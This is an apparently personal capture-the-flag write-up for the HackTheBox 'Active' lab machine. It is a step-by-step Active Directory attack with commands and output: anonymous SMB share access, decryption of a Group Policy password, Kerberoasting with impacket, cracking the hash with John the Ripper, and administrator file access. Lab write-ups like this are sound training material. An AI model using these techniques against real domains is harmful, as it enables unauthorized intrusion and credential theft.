For those who don't know, HackTheBox is a service that allows you to engage in CTF / Red Team activities against a wide variety of targets. If you are interested in Red Teaming or InfoSec in general, I definitely recommend you to check it out.
The "Active" box was one of my favorites so far. It featured some really good real-world examples plus, for me, as a Windows noob, it was a really good learning journey into the world of Windows hacking.
Like in most cases, the first step we want to do is reconnaissance. In a situation where we don't need to be stealthy, I like to use the following command to look for open ports:
nmap -A [IP]
The -A means aggressive, and delivers all the information we need in most cases. Sometimes a
nmap -p- -A [IP]
can be useful, as it may discover some left-of-field ports that usually aren't used. The -p- just means scan ALL ports from 1 to 65535.
Running the first command against the "Active" box gives us following information:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-14 10:39:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows Vista or Windows 7 SP1 (96%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%), Microsoft Windows Vista SP2 (96%), Microsoft Windows Vista SP2, Windows 7, or Windows 7 SP1 (96%), Microsoft Windows Vista Business (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-14 11:40:19
|_ start_date: 2018-12-14 06:07:42
There's a lot to digest here. Good ways to gain an initial foothold are either LDAP (default port: 389/tcp), and SMB (default ports: 139/tcp and 445/tcp).
This line:
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
tells us that there's also an LDAP service running on the non-standard port 3268/tcp.
To query LDAP from Linux, I like to use ldapsearch. For some initial information, we can use:
ldapsearch -H ldap://[IP]:[Port] -x -LLL -s base -b "" namingContexts
Let's go ahead and unpack this command first.
-H ldap://[IP]:[Port]
tells the program which host and what port to query. If no port is specified, this will use the default port of 389. (Use ldaps instead of ldap to work with LDAP over SSL).
-x tells the program to use simple authentication, which allows us to query LDAP without credentials, if the server is configured to allow that.
-LLL cuts away a lot of information that is not useful to us from the output.
-s base tells the program to set the scope to a base object, as we want to look at top-level information first.
-b "" defines the searchbase. An empty string means that we want to start at the very top, to get as much information as possible.
namingContexts applies a filter to the output, so that we only get a list of the naming Contexts (which is what we want here [see below], omit this part to receive more information)
With this list of naming Contexts, we can now proceed to search them for useful information with the following command:
ldapsearch -H ldap://[IP]:[Port] -x -LLL -s sub -b "dc=active,dc=htb"
By changing the searchbase to one of the naming Contexts and the scope to "sub", we can get more detailed information that's listed under active.htb. Running this against "Active" gives us this output:
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C09075A, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v1db1
Huh, bummer. The Error message tells us that an LDAP bind couln't be performed. This is most likely due to insufficient permissions. Querying the other naming Contexts leads to similar results. As we don't have any credentials yet, we can't progress here.
Let us thus go to the other angle aforementioned: SMB. To connect to SMB from Linux, we can use smbclient. Initially, we want to run the following command:
smbclient -L [IP]
-L just means that we want to list the shares instead of connecting to one.
Running it gives us this output:
Enter WORKGROUP\root's password:
As we didn't specify any workgroup or username in the command, it will use the default workgroup "WORKGROUP" and the username of the user on our machine. By pressing enter we can test if anonymous login is possible:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to [IP] failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
And it works! Because we didn't specify any Share to connect to, we get the error message at the end (NT_STATUS_RESOURCE_NAME_NOT_FOUND) - of course, because there is no Share without a name. We can just ignore this error and instead specify on the list of Shares we were provided with. Using:
smbclient \\\\[IP]\\[Sharename]
we can now try all of these Shares. Using the "Press Enter on Password Prompt" technique from above, we can test if we can connect anonymously to any of these Shares.
Spoiler: We can connect to "IPC$", but can't really execute any commands. So that is less useful. Trying to connect to "Replication", we get:
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
We have a prompt! Using dir or ls to list the directory contents and cd to go through the directories, we can look for any juicy stuff in here (You can use TABULATOR for auto-completion, to save some time typing some of the longer directory or file names).
To save some time, I'll just skip the step of searching and go right to the juicy stuff:
smb: \> cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups"
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 12:37:44 2018
.. D 0 Sat Jul 21 12:37:44 2018
Groups.xml A 533 Wed Jul 18 22:46:06 2018
10459647 blocks of size 4096. 4891551 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec)
This is a Group Policy password, and can easily be decrpyted by using tools such as gpp-decrypt.
We can get the cleartext-password like this:
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18
And there we have our password!
We can now use it to go through the Shares again, this time with more privileges. To use credentials with smbclient, we have to call it like this:
-U specifies the user to use for authentication. The domain can be constructed out of the information from LDAP:
namingContexts: DC=active,DC=htb
means that our domain is "active.htb", the user - "SVC_TGS" - we got from the Groups.xml file. When we exexute the command, we get a password prompt, where we have to enter the previously decrypted "GPPstillStandingStrong2k18".
As before, I am skipping the iterating / searching part and skip right into the juicy stuff:
smbclient \\\\[IP]\\Users -U active.htb\\SVC_TGS
Enter ACTIVE.HTB\SVC_TGS's password:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sat Jul 21 16:39:20 2018
.. DR 0 Sat Jul 21 16:39:20 2018
Administrator D 0 Mon Jul 16 12:14:21 2018
All Users DHS 0 Tue Jul 14 07:06:44 2009
Default DHR 0 Tue Jul 14 08:38:21 2009
Default User DHS 0 Tue Jul 14 07:06:44 2009
desktop.ini AHS 174 Tue Jul 14 06:57:55 2009
Public DR 0 Tue Jul 14 06:57:55 2009
SVC_TGS D 0 Sat Jul 21 17:16:32 2018
10459647 blocks of size 4096. 4931596 blocks available
smb: \> cd SVC_TGS\Desktop
smb: \SVC_TGS\Desktop\> ls
. D 0 Sat Jul 21 17:14:42 2018
.. D 0 Sat Jul 21 17:14:42 2018
user.txt A 34 Sat Jul 21 17:06:25 2018
10459647 blocks of size 4096. 4931596 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
There we have our user flag!
We can also continue with querying LDAP, because now we have valid credentials:
.. or, not? Seems the user we found isn't allowed to query LDAP.
Thankfully, we already have two clues on where to look next. The first one is this line from our port-scan:
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-14 10:39:21Z)
This tells us than Kerberos Authenticaton is used on the target machine.
The second clue is a little more subtle, the username we found in the Groups.xml: "SVC_TGS". This could just be random letters, OR the "SVC" could be short for "Service" and the "TGS" could be short for... what exactly?
As I said in the beginning, I am a Windows noob, so this was a lot less obvious for me than for people who have more experience attacking Windows machines. But "TGS" - turns out - is short for "Ticket Granting Server". Kerberos hands out tickets to users who authenticated against it, so that they can authenticate against other servers without having to send their passwords again (at least that's my basic understanding of it).
So with these two hints, there's a good chance that our attack Vector here is Kerberos. The most famous privilege escalation exploit for Kerberos is "Kerberoast". It's a relatively safe way to get administrative privileges after you have valid user credentials and it is still very wide-spread in real-world productive enviroments. So let's try it!
There's a lot of way to pull this of, I opted for a relatively lazy choice of using a tool that has all the capabilities I need - impacket. The specific tool I wanna use here is located under examples/GetUserSPNs.py.
With this, we can run the Kerberoast exploit get an Admin Password hash:
-request tells the program to request a ticket and save a password hash.
-outputfile crack.john
specifies the file in which to save the password hash.
-dc-ip [IP] specifies the IP of the domain controller (our target)
The domain, username and password are the ones we got previously.
-request-user [Username]
specified the user for which to request the TGS. Not necessary here, as there is only one (Administrator).
This will give us the hashfile crack.john, which we can now proceed to crack with JohnTheRipper.
The command looks somewhat like this:
john --format=krb5tgs --wordlist=[filename] crack.john
--format=krb5tgs tells john that the hash is a Kerberos 5 TGS ticket. AFAIK, this does only work with the bleeding-jumbo version, not the default installation on Kali Linux.
--worldlist=[filename]
tells john which wordlist to use. I personally prefer rockyou.
This will provide us with the following output:
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:14 DONE (2018-12-14 13:42) 0.06761g/s 712459p/s 712459c/s 712459C/s Tickle2Pickle..Tibilein
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Et voilĂ , we have a password: "Ticketmaster1968".
With this, we can go back to SMB, login to the "C$" share, and get the root flag:
smbclient \\\\[IP]\\C$ -U active.htb\\Administrator
Enter ACTIVE.HTB\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin DHS 0 Tue Jul 14 04:34:39 2009
Config.Msi DHS 0 Mon Jul 30 16:10:06 2018
Documents and Settings DHS 0 Tue Jul 14 07:06:44 2009
pagefile.sys AHS 4294500352 Fri Dec 14 12:33:10 2018
PerfLogs D 0 Tue Jul 14 05:20:08 2009
Program Files DR 0 Wed Jul 18 20:44:51 2018
Program Files (x86) DR 0 Wed Jul 18 20:44:52 2018
ProgramData DH 0 Mon Jul 30 15:49:31 2018
Recovery DHS 0 Mon Jul 16 12:13:22 2018
System Volume Information DHS 0 Wed Jul 18 20:45:01 2018
Users DR 0 Sat Jul 21 16:39:20 2018
Windows D 0 Mon Jul 30 15:42:18 2018
10459647 blocks of size 4096. 4925068 blocks available
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> dir
. DR 0 Mon Jul 30 15:50:10 2018
.. DR 0 Mon Jul 30 15:50:10 2018
desktop.ini AHS 282 Mon Jul 30 15:50:10 2018
root.txt A 34 Sat Jul 21 17:06:07 2018
10459647 blocks of size 4096. 4925068 blocks available
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)